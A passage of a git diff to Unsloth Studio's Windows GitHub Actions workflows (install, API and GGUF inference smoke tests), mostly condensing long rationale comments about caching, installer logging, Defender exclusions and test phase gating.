$sw = [System.Diagnostics.Stopwatch]::StartNew()
pwsh -NoProfile -ExecutionPolicy Bypass -Command $child 2>&1 |
Tee-Object -FilePath logs/install.log |
ForEach-Object { '[{0,4:N0}s] {1}' -f $sw.Elapsed.TotalSeconds, $_ }
if ($LASTEXITCODE -ne 0) { throw "install.ps1 exited with code $LASTEXITCODE" }
- # Paired with the restore above: pruned to built wheels, saved on main only.
- name: Save the uv download cache
uses: ./.github/actions/uv-cache-save
with:
@@ -554,8 +442,6 @@ jobs:
key: ${{ steps.uv-cache.outputs.key }}
- name: A second update does nothing, and proves it
- # The Windows leg is the one that can catch a path or marker written with the
- # wrong separator: every comparison in the harness is a byte-for-byte one.
timeout-minutes: 40
shell: pwsh
env:
@@ -566,7 +452,6 @@ jobs:
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
$ErrorActionPreference = 'Continue'
- # setup-python's interpreter runs the harness, and it ships without pytest.
python -m pip install --quiet pytest
python -m pytest tests/studio/install/test_update_idempotency.py -v -s 2>&1 |
Tee-Object -FilePath logs/idempotency.log
diff --git a/.github/workflows/studio-vae-seam-guard.yml b/.github/workflows/studio-vae-seam-guard.yml
index 4c0df267743..846ae1e1623 100644
--- a/.github/workflows/studio-vae-seam-guard.yml
+++ b/.github/workflows/studio-vae-seam-guard.yml
@@ -1,8 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Runs test_vae_tile_geometry.py on CPU with the pinned diffusers, which Backend CI does not install
-# (there the guard would only skip).
+# Backend CI does not install the pinned diffusers, so the guard would only skip there.
name: Studio VAE seam guard
diff --git a/.github/workflows/studio-windows-api-smoke.yml b/.github/workflows/studio-windows-api-smoke.yml
index 16b4f44770a..6b5bd9138d3 100644
--- a/.github/workflows/studio-windows-api-smoke.yml
+++ b/.github/workflows/studio-windows-api-smoke.yml
@@ -1,14 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Windows counterpart to studio-api-smoke.yml, and to the API phase of
-# studio-mac-ui-smoke.yml (which absorbed the former studio-mac-api-smoke.yml).
-# Same tests/studio/studio_api_smoke.py exercise (CORS hardening, auth
-# state machine, JWT expiry, API key lifecycle, /v1/models /
-# /v1/embeddings / /v1/responses, endpoint-by-endpoint auth audit) but
-# on the FREE windows-latest runner. The file-mode hardening section
-# (Section 6) is Linux-only and short-circuits on non-POSIX; the rest
-# is platform-portable.
+# Windows counterpart to studio-api-smoke.yml (same studio_api_smoke.py).
name: Windows Unsloth API CI
@@ -18,15 +11,11 @@ on:
# one ready has to start the run that tests it.
types: [opened, synchronize, reopened, ready_for_review]
paths:
- # What the test boots: the backend, the Windows installer chain and the CLI.
- # studio/frontend/** stays because install.ps1 builds the bundle and the dist cache
- # key hashes it. Not unsloth/** or studio/src-tauri/**: the install is --no-torch
- # and never touches the Tauri shell.
+ # studio/frontend/** stays: install.ps1 builds it and the dist cache key hashes it.
- 'studio/backend/**'
- 'studio/frontend/**'
- 'studio/setup.ps1'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
@@ -37,22 +26,13 @@ on:
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- 'pyproject.toml'
- # Named, not globbed: the rest of tests/studio is Playwright drivers and
- # PowerShell units this workflow never runs.
+ # Named, not globbed: the rest of tests/studio is never run here.
- 'tests/studio/studio_api_smoke.py'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- '.github/workflows/studio-windows-api-smoke.yml'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # And for the GGUF download that primes HF_HOME.
- '.github/scripts/hf-download-with-retry.sh'
push:
branches: [main]
@@ -104,8 +84,7 @@ jobs:
GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
STUDIO_PORT: '18895'
HF_HOME: ${{ github.workspace }}/hf-cache
- # Force UTF-8 for stdio (Windows defaults to cp1252; hf
- # download prints a "✓" checkmark and crashes otherwise).
+ # Windows defaults to cp1252 and hf download prints a non-ASCII checkmark.
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
steps:
@@ -121,9 +100,7 @@ jobs:
with:
python-version: '3.12'
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
+ # Cross-OS key: the hf-cache tree is byte-identical on every OS.
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
id: cache-hf
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -146,19 +123,8 @@ jobs:
bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and evict main's shared copies
+ # from the near-full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.prime-hf.outcome == 'success' && hashFiles('hf-cache/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -168,21 +134,13 @@ jobs:
- name: Pre-install Windows tweaks (npm 11 + Defender exclusions)
shell: pwsh
- # See studio-windows-update-smoke.yml for the full rationale.
- # tl;dr: setup.ps1 needs npm >=11 to skip a 35 s winget Node
- # reinstall, and Defender's real-time scan dominates the
- # frontend / uv-pip-extract steps.
+ # See studio-windows-update-smoke.yml: npm >= 11 and Defender exclusions.
run: |
$ProgressPreference = 'SilentlyContinue'
Write-Host "npm version before upgrade: $(npm -v)"
npm install -g 'npm@^11' 2>&1 | Out-Host
Write-Host "npm version after upgrade: $(npm -v)"
- # NOTE: do NOT pre-create these directories. See
- # studio-windows-update-smoke.yml for the full rationale --
- # creating an empty studio/frontend/dist trips setup.ps1's
- # mtime-based staleness check into "frontend up to date, skip
- # rebuild" and Unsloth boots with an empty dist directory.
- # Add-MpPreference accepts paths that do not yet exist.
+ # Do NOT pre-create these: an empty dist makes setup.ps1 skip the frontend rebuild.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
"$env:USERPROFILE\AppData\Local\uv",
@@ -197,16 +155,8 @@ jobs:
}
}
- # 96s of a ~257s install on Windows (`[72s] building frontend...` -> `[168s]
- # frontend built`, 37% of it), spent in five Windows jobs on every commit to
- # produce byte-identical output. The key hashes exactly the paths
- # studio/setup.ps1:3526-3549 checks before rebuilding, so a hit means the build
- # inputs are byte-identical; the action's own reasoning, and the assertion that
- # a hit was actually REUSED rather than rebuilt, live in
- # .github/actions/frontend-dist-restore and -save.
- # The uv download cache, which install-unsloth-local restores for the Linux and
- # macOS jobs and this hand-written pwsh install never had. install.ps1 preserves the
- # UV_CACHE_DIR the action exports; the key lives in .github/actions/uv-cache-restore.
+ # The dist key hashes the paths setup.ps1 checks before rebuilding (see
+ # .github/actions/frontend-dist-restore). install.ps1 preserves the exported UV_CACHE_DIR.
- name: Restore the uv download cache
id: uv-cache
uses: ./.github/actions/uv-cache-restore
@@ -223,37 +173,22 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # install.ps1 runs as a CHILD process so its stdout is pipeline
- # input; in-process its Write-StudioLine output goes straight to
- # [Console]::Out and skips Tee-Object. See studio-windows-ui-smoke.yml
- # for the full explanation.
+ # install.ps1 runs as a CHILD process so its [Console]::Out output reaches Tee-Object.
$child = '$ErrorActionPreference = ''Stop''; $ProgressPreference = ''SilentlyContinue''; & ./install.ps1 --local --no-torch; exit $LASTEXITCODE'
- # Elapsed-seconds prefix, added to the STEP LOG only. Tee-Object writes
- # logs/install.log upstream of this filter, so the artifact keeps exactly
- # what install.ps1 produced and the readers of it are unaffected.
- #
- # install.ps1 and studio/setup.ps1 are deliberately untouched. This is a
- # display filter over a stream the step already pipes, so there is no
- # switch for the installer to interpret and no way for a real user's
- # install to behave differently from this one. The install costs 268-292s
- # here against 88s for the same install on Linux, and nothing in its
- # output says where that goes.
+ # Timestamps go to the step log only; logs/install.log keeps raw output.
$sw = [System.Diagnostics.Stopwatch]::StartNew()
pwsh -NoProfile -ExecutionPolicy Bypass -Command $child 2>&1 |
Tee-Object -FilePath logs/install.log |
ForEach-Object { '[{0,4:N0}s] {1}' -f $sw.Elapsed.TotalSeconds, $_ }
if ($LASTEXITCODE -ne 0) { throw "install.ps1 exited with code $LASTEXITCODE" }
- # Paired with the restore above: asserts the hit was reused (a `building
- # frontend` line after a hit fails the job -- otherwise the cache costs a
- # download, saves nothing, and still reports a hit), then saves on main only.
+ # Asserts a cache hit was reused (a `building frontend` line fails the job); saves on main.
- name: Save the built frontend
uses: ./.github/actions/frontend-dist-save
with:
cache-hit: ${{ steps.fe-dist.outputs.cache-hit }}
key: ${{ steps.fe-dist.outputs.key }}
- # Paired with the uv restore above: pruned to built wheels, saved on main only.
- name: Save the uv download cache
uses: ./.github/actions/uv-cache-save
with:
@@ -262,8 +197,7 @@ jobs:
- name: Assert install.ps1 used the Windows llama.cpp prebuilt
run: |
- # Filesystem-based check: it does not depend on which process
- # emitted a marker (see studio-windows-ui-smoke.yml).
+ # Check the filesystem, not a marker from a particular process.
LLAMA_DIR=~/.unsloth/llama.cpp
INFO="$LLAMA_DIR/UNSLOTH_PREBUILT_INFO.json"
BIN="$LLAMA_DIR/build/bin/Release/llama-server.exe"
@@ -286,9 +220,7 @@ jobs:
cat "$INFO"
- name: Add Unsloth shim to GITHUB_PATH
- # install.ps1's User-PATH update doesn't propagate to a
- # running Git Bash session; export the shim dir so the
- # next `unsloth ...` invocation finds it.
+ # The installer's User-PATH update does not reach a running Git Bash.
run: |
SHIM_DIR=~/.unsloth/studio/bin
if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@@ -323,13 +255,7 @@ jobs:
echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
- name: Run Unsloth API & Auth tests
- # Do NOT pin STUDIO_AUTH_DIR here. The Mac/Linux mirrors
- # hardcode runner-specific paths (/Users/runner/...,
- # /home/runner/...), but on Windows the path is
- # C:\Users\runneradmin\.unsloth\studio\auth and varies by
- # runner image. studio_api_smoke.py defaults to
- # Path.home()/".unsloth"/"studio"/"auth" when the env is
- # unset, which is correct on every OS.
+ # Do NOT pin STUDIO_AUTH_DIR: the Windows path varies by image; the default is right.
env:
BASE_URL: http://127.0.0.1:18895
run: python tests/studio/studio_api_smoke.py
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index 1f844a12137..d47ad93eec7 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -1,23 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# One end-to-end smoke job, three phases, that boots a freshly-installed
-# Unsloth and exercises the surfaces real users hit through the OpenAI /
-# Anthropic SDKs and curl, on the FREE windows-latest runner. Each phase
-# picks the smallest model that exercises the behaviour under test and
-# primes its own model cache; all three share a single install.ps1
-# --local --no-torch bootstrap.
-#
-# 1. OpenAI, Anthropic API tests
-# gemma-3-270m-it UD-Q4_K_XL (~254 MiB), port 18888.
-# 2. Tool calling Tests
-# Qwen3.5-2B UD-Q4_K_XL (~890 MiB), port 18898.
-# 3. JSON, images
-# Qwen3-VL-2B-Instruct UD-IQ2_XXS + mmproj-F16 (~1.4 GiB total),
-# port 18899. Within the 14 GB windows-latest SSD budget.
-#
-# The phases run in sequence on one runner. They used to be three parallel
-# jobs, each repeating a ~7 min Windows install to run ~4 min of tests.
+# One job, three phases on one install.ps1 --local --no-torch: SDK chat (18888), tool
+# calling (18898), JSON + vision (18899).
name: Windows Unsloth GGUF CI
@@ -27,21 +12,16 @@ on:
# one ready has to start the run that tests it.
types: [opened, synchronize, reopened, ready_for_review]
paths:
- # What the phases exercise: the backend's OpenAI and Anthropic surfaces over the
- # Windows llama.cpp prebuilt, the installer chain and the CLI. studio/frontend/**
- # stays because install.ps1 builds the bundle and the dist cache key hashes it. Not
- # unsloth/** or studio/src-tauri: --no-torch, and the Tauri shell is never built.
+ # studio/frontend/** stays: install.ps1 builds it and the dist cache key hashes it.
- 'studio/backend/**'
- 'studio/frontend/**'
- 'studio/setup.ps1'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
- 'unsloth_cli/**'
- 'install.ps1'
- # The pre-install gate parses it and runs its uninstall unit test.
- 'scripts/uninstall.ps1'
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
@@ -49,28 +29,15 @@ on:
- '.github/actions/uv-cache-save/action.yml'
- 'pyproject.toml'
- 'tests/studio_setup_ps1/**'
- # The PowerShell unit tests this workflow runs live here. Without this a
- # PR touching only one of them never exercises it, and no other workflow
- # runs them. Scoped to *.ps1 so python-only changes under tests/studio do
- # not pull in the GGUF smoke jobs.
+ # The PowerShell unit tests run here and nowhere else.
- 'tests/studio/*.ps1'
- # The Pester phase runs this guard by name.
- 'tests/studio/test_pester_bootstrap_hardening.py'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- '.github/workflows/studio-windows-inference-smoke.yml'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # Every model download in every phase goes through it.
- '.github/scripts/hf-download-with-retry.sh'
- # Phase 1 drives both SDKs through this script.
- '.github/scripts/studio_smoke/multi_turn_chat.py'
push:
branches: [main]
@@ -112,50 +79,21 @@ permissions:
contents: read
jobs:
- # One job, three phases. These were three separate windows-latest jobs that
- # differed only in model, port and test body: the checkout, setup-node,
- # setup-python, npm/Defender tweaks, `install.ps1 --local --no-torch` and
- # prebuilt assertion were identical in all three, so every triggering PR ran
- # the same Windows install three times over.
- #
- # Windows is the platform where that actually costs something. Measured over
- # recent runs, setup is ~7.0 min per job (install.ps1 alone is ~6.4) against
- # ~3.8 min of tests, so setup dominates and sharing it once saves ~14
- # runner-minutes and 2 of the 60 concurrent-job slots. The same trade is NOT
- # worth making on ubuntu (studio-inference-smoke.yml), where setup is ~1.9 min
- # against ~3.0 min of tests. That last claim no longer holds and ubuntu is now
- # bundled too: it assumed the three jobs start together, and measured on main
- # they usually do not (median 175s between a run's first and last job start
- # across 18 recent multi-job runs). See that file's header for the numbers.
- #
- # Each phase keeps its own model cache directory, HF_HOME, server port, server
- # log, uploaded artifact and step timeouts, and each is gated on the SHARED
- # preamble rather than on the phase before it, so a failure still points at one
- # phase, earlier phases' logs survive it, and later phases still run -- the
- # same independence the three jobs had.
+ # One job, three phases: sharing the ~7 min Windows install saves runner slots. Each
+ # phase keeps its own cache, port, log and artifact and gates on the shared preamble.
inference-smoke:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: GGUF inference smoke (API, tools, vision)
runs-on: windows-latest
- # Was 30 + 30 + 35 across three runners. Sequentially they share one install,
- # so the sum is well under 95, but a cold model cache on the vision phase is
- # the slow case. 90 covers it while still bounding a hang. Every step that can
- # block also carries its own `timeout-minutes`: the job cap alone is not a
- # substitute, because hf-download-with-retry.sh retries forever by design and
- # named the job timeout as its bound.
+ # hf-download-with-retry.sh retries forever, so every blocking step has its own timeout.
timeout-minutes: 90
defaults:
run:
shell: bash
env:
- # Only what every phase shares. Model, GGUF file, port and HF_HOME are set
- # per phase via $GITHUB_ENV instead of here: if a phase-specific key were
- # also declared at job level, whether the later $GITHUB_ENV write wins is
- # not something the Actions docs pin down, and a phase quietly talking to
- # the previous phase's port would be a nasty way to find out.
- #
- # Force UTF-8 for stdio (Windows defaults to cp1252; hf download / the
- # Unsloth CLI print "✓" checkmarks and crash otherwise).
+ # Phase-specific vars go to $GITHUB_ENV per phase, never here: precedence against job env
+ # is not documented.
+ # Windows defaults to cp1252 and the tools print a non-ASCII checkmark.
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
steps:
@@ -185,10 +123,7 @@ jobs:
if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 }
Write-Host "$f parsed with no errors"
}
- # Propagate each child test's failure before continuing: the step only
- # inherits the LAST command's exit code, so without these every test
- # but the last one could fail and still report green (studio-windows-
- # update-smoke.yml already does this).
+ # The step only inherits the LAST exit code, so check each test.
pwsh -NoProfile -File tests/studio/test_resolve_cuda_toolkit.ps1
if ($LASTEXITCODE) { exit $LASTEXITCODE }
pwsh -NoProfile -File tests/studio/test_torch_flavor.ps1
@@ -207,8 +142,7 @@ jobs:
if ($LASTEXITCODE) { exit $LASTEXITCODE }
# cross-platform-parity-ci.yml, which is the host it describes.
- # uninstall.ps1: native uninstall must keep the shared unsloth.ico while a
- # WSL shortcut still references it (dual install), else that shortcut blanks.
+ # Must keep the shared unsloth.ico while a WSL shortcut still uses it.
- name: uninstall.ps1 unit test (dual-install icon preserve)
id: ps-uninstall-unit
background: true
@@ -231,21 +165,13 @@ jobs:
- name: Pre-install Windows tweaks (npm 11 + Defender exclusions)
shell: pwsh
- # See studio-windows-update-smoke.yml for the full rationale.
- # tl;dr: setup.ps1 needs npm >=11 to skip a 35 s winget Node
- # reinstall, and Defender's real-time scan dominates the
- # frontend / uv-pip-extract steps.
+ # See studio-windows-update-smoke.yml: npm >= 11 and Defender exclusions.
run: |
$ProgressPreference = 'SilentlyContinue'
Write-Host "npm version before upgrade: $(npm -v)"
npm install -g 'npm@^11' 2>&1 | Out-Host
Write-Host "npm version after upgrade: $(npm -v)"
- # NOTE: do NOT pre-create these directories. See
- # studio-windows-update-smoke.yml for the full rationale --
- # creating an empty studio/frontend/dist trips setup.ps1's
- # mtime-based staleness check into "frontend up to date, skip
- # rebuild" and Unsloth boots with an empty dist directory.
- # Add-MpPreference accepts paths that do not yet exist.
+ # Do NOT pre-create these: an empty dist makes setup.ps1 skip the frontend rebuild.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
"$env:USERPROFILE\AppData\Local\uv",
@@ -260,23 +186,11 @@ jobs:
}
}
- # Deliberately NO `if:`, so this rides the implicit success() and a failed
- # preamble (installer unit tests, setup-node, setup-python, the Defender
- # tweak) still stops the job here, exactly as it did when this was three
- # jobs. Gating it on `!cancelled()` would install onto a runner whose
- # pinned Python or Node never materialised, and every phase below gates on
- # assert-prebuilt, which would then pass and hide the real failure.
-
- # 96s of a ~257s install on Windows (`[72s] building frontend...` -> `[168s]
- # frontend built`, 37% of it), spent in five Windows jobs on every commit to
- # produce byte-identical output. The key hashes exactly the paths
- # studio/setup.ps1:3526-3549 checks before rebuilding, so a hit means the build
- # inputs are byte-identical; the action's own reasoning, and the assertion that
- # a hit was actually REUSED rather than rebuilt, live in
- # .github/actions/frontend-dist-restore and -save.
- # The uv download cache, which install-unsloth-local restores for the Linux and
- # macOS jobs and this hand-written pwsh install never had. install.ps1 preserves the
- # UV_CACHE_DIR the action exports; the key lives in .github/actions/uv-cache-restore.
+ # No `if:`: a failed preamble must stop the job here, or phases gated on assert-prebuilt
+ # would hide the real failure.
+
+ # The dist key hashes the paths setup.ps1 checks before rebuilding (see
+ # .github/actions/frontend-dist-restore). install.ps1 preserves the exported UV_CACHE_DIR.
- name: Restore the uv download cache
id: uv-cache
uses: ./.github/actions/uv-cache-restore
@@ -298,37 +212,22 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # install.ps1 runs as a CHILD process so its stdout is pipeline
- # input; in-process its Write-StudioLine output goes straight to
- # [Console]::Out and skips Tee-Object. See studio-windows-ui-smoke.yml
- # for the full explanation.
+ # install.ps1 runs as a CHILD process so its [Console]::Out output reaches Tee-Object.
$child = '$ErrorActionPreference = ''Stop''; $ProgressPreference = ''SilentlyContinue''; & ./install.ps1 --local --no-torch; exit $LASTEXITCODE'
- # Elapsed-seconds prefix, added to the STEP LOG only. Tee-Object writes
- # logs/install.log upstream of this filter, so the artifact keeps exactly
- # what install.ps1 produced and the readers of it are unaffected.
- #
- # install.ps1 and studio/setup.ps1 are deliberately untouched. This is a
- # display filter over a stream the step already pipes, so there is no
- # switch for the installer to interpret and no way for a real user's
- # install to behave differently from this one. The install costs 268-292s
- # here against 88s for the same install on Linux, and nothing in its
- # output says where that goes.
+ # Timestamps go to the step log only; logs/install.log keeps raw output.
$sw = [System.Diagnostics.Stopwatch]::StartNew()
pwsh -NoProfile -ExecutionPolicy Bypass -Command $child 2>&1 |
Tee-Object -FilePath logs/install.log |
ForEach-Object { '[{0,4:N0}s] {1}' -f $sw.Elapsed.TotalSeconds, $_ }
if ($LASTEXITCODE -ne 0) { throw "install.ps1 exited with code $LASTEXITCODE" }
- # Paired with the restore above: asserts the hit was reused (a `building
- # frontend` line after a hit fails the job -- otherwise the cache costs a
- # download, saves nothing, and still reports a hit), then saves on main only.
+ # Asserts a cache hit was reused (a `building frontend` line fails the job); saves on main.
- name: Save the built frontend
uses: ./.github/actions/frontend-dist-save
with:
cache-hit: ${{ steps.fe-dist.outputs.cache-hit }}
key: ${{ steps.fe-dist.outputs.key }}
- # Paired with the uv restore above: pruned to built wheels, saved on main only.
- name: Save the uv download cache
uses: ./.github/actions/uv-cache-save
with:
@@ -362,11 +261,8 @@ jobs:
echo "install.ps1 installed the Windows prebuilt llama.cpp:"
cat "$INFO"
- # The last shared prerequisite every phase needs, so the phase gates below
- # key on THIS step rather than on assert-prebuilt. shim only runs when
- # assert-prebuilt succeeded, so `steps.shim.outcome == 'success'` implies
- # the assertion passed and additionally catches a missing shim, which
- # would otherwise let all three phases boot an Unsloth that is not on PATH.
+ # Phases gate on this step: it only runs after assert-prebuilt succeeded, and also
+ # catches a missing shim.
- name: Add Unsloth shim to GITHUB_PATH
id: shim
if: ${{ !cancelled() && steps.assert-prebuilt.outcome == 'success' }}
@@ -379,22 +275,14 @@ jobs:
fi
cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
- # Needed by phases 1 and 3 only; the tool-calling phase drives the API with
- # curl and never imports them, which is why phase 2 does not gate on this.
+ # Phases 1 and 3 only; phase 2 uses curl.
- name: Install OpenAI + Anthropic Python SDKs
id: sdks
if: ${{ !cancelled() && steps.assert-prebuilt.outcome == 'success' }}
timeout-minutes: 10
run: python -m pip install 'openai>=1.50,<4' 'anthropic>=1,<2'
- # Phase 1's environment and model cache sit HERE, after the shared
- # preamble, not before it. They used to run before the installer, which is
- # where they sat when phase 1 was its own job -- harmless then, because a
- # priming failure only killed that one job. Once the installer is shared,
- # the same failure skips it under the implicit success(), assert-prebuilt
- # skips with it, and every phase-2 and phase-3 gate evaluates false. A
- # transient HF download would take the whole workflow down. Ordering the
- # shared setup first keeps a phase-1 resource failure phase-local.
+ # Phase 1 setup sits after the shared preamble so its failure stays phase-local.
- name: Phase 1 environment (API + auth)
run: |
echo "GGUF_REPO=unsloth/gemma-3-270m-it-GGUF" >> "$GITHUB_ENV"
@@ -403,19 +291,9 @@ jobs:
echo "STUDIO_PORT=18888" >> "$GITHUB_ENV"
echo "HF_HOME=${{ github.workspace }}/hf-cache" >> "$GITHUB_ENV"
- # Split restore + save (rather than the one-step actions/cache) so a
- # transient restore-side failure does not kill the whole job. v5 has a
- # known flake where it logs "Cache hit for: <key>" and then exits
- # non-zero without actually extracting the archive (see
- # actions/cache#1621 and github community discussion #163260).
- # continue-on-error on restore masks that failure so the Prime step
- # below can re-download from HF and the job keeps running. Save then
- # populates the cache key on a real miss only; cache keys are
- # immutable, so a corrupted cached entry persists until the -v1
- # suffix below is bumped.
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
+ # Split restore/save: actions/cache can report a hit and exit non-zero without extracting
+ # (actions/cache#1621), so restore is continue-on-error and Prime re-downloads.
+ # Cross-OS key: the hf-cache tree is byte-identical on every OS.
- name: Restore HF_HOME cache for unsloth/gemma-3-270m-it-GGUF
id: cache-hf
timeout-minutes: 15
@@ -429,8 +307,7 @@ jobs:
- name: Prime HF_HOME with the GGUF
id: prime-hf
timeout-minutes: 15
- # Run on a real cache miss AND on the silent-restore-failure mode
- # described above (outcome != success).
+ # Also on the silent restore-failure mode above.
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -443,22 +320,8 @@ jobs:
- name: Save HF_HOME cache for unsloth/gemma-3-270m-it-GGUF
timeout-minutes: 15
- # Only write a fresh cache entry when we actually rebuilt the
- # directory (Prime ran and succeeded). Skipping when Prime is
- # skipped avoids "already exists" save warnings on the happy path.
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and evict main's shared copies
+ # from the near-full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.prime-hf.outcome == 'success' && hashFiles('hf-cache/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -509,26 +372,9 @@ jobs:
- name: Load the GGUF (HF repo + variant, served from HF_HOME cache)
timeout-minutes: 20
run: |
- # Retry the load step a few times so a transient TCP RST during
- # llama-server warm-up (Windows runner image churn,
- # windows-latest -> windows-2025-vs2026 rollout) doesn't fail
- # the whole job. The Unsloth backend's _wait_for_health now
- # catches httpx.ReadError too; this retry layer covers the
- # cases the backend can't recover from on its own.
- #
- # speculative_type=off and n_parallel=1 are what make the determinism
- # assertion in the next step answerable. llama-server's README: "the
- # logits are not guaranteed to be bit-for-bit identical for different
- # batch" sizes. A non-MTP GGUF otherwise takes the --spec-default branch,
- # which is live n-gram drafting, not the absence of a drafter: the server
- # logs "draft acceptance = 0.46875 (30 accepted / 64 generated)". Its
- # draft pool is built from text the server has already seen, so the FIRST
- # turn-1 request after a load drafts nothing and decodes one token at a
- # time while every later one verifies a ~32-token draft in one batch, and
- # check(runner(), runner()) always compares the cold replay against a warm
- # one. n_parallel=1 also drops --kv-unified, whose shared-pool occupancy is
- # a second input to the batch. The other phases of this workflow keep both
- # defaults, so the shipped path stays covered.
+ # Retry the load: llama-server warm-up can drop TCP on Windows runners.
+ # speculative_type=off and n_parallel=1 make the determinism check valid: n-gram drafting
+ # and --kv-unified change batch shapes between runs. Other phases keep the defaults.
LOAD_OK=0
for attempt in 1 2 3; do
HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \
@@ -553,28 +399,9 @@ jobs:
- name: Stop Unsloth
if: always()
- # NOT via Git Bash: bash on windows-latest has been observed to exit
- # 143 (SIGTERM) from any inline kill/sleep block, masking a green test
- # run (#5460, #5462). That is why this used to be a cmd no-op relying
- # on the runner to reclaim the process at job end.
- #
- # That reliance was only safe while each phase was its OWN job. In one
- # job the phase 1 server would stay alive through phases 2 and 3,
- # holding its model resident and, worse, still owning
- # ~/.unsloth/studio/auth while the next phase wipes and re-seeds that
- # directory to get a fresh bootstrap password.
- #
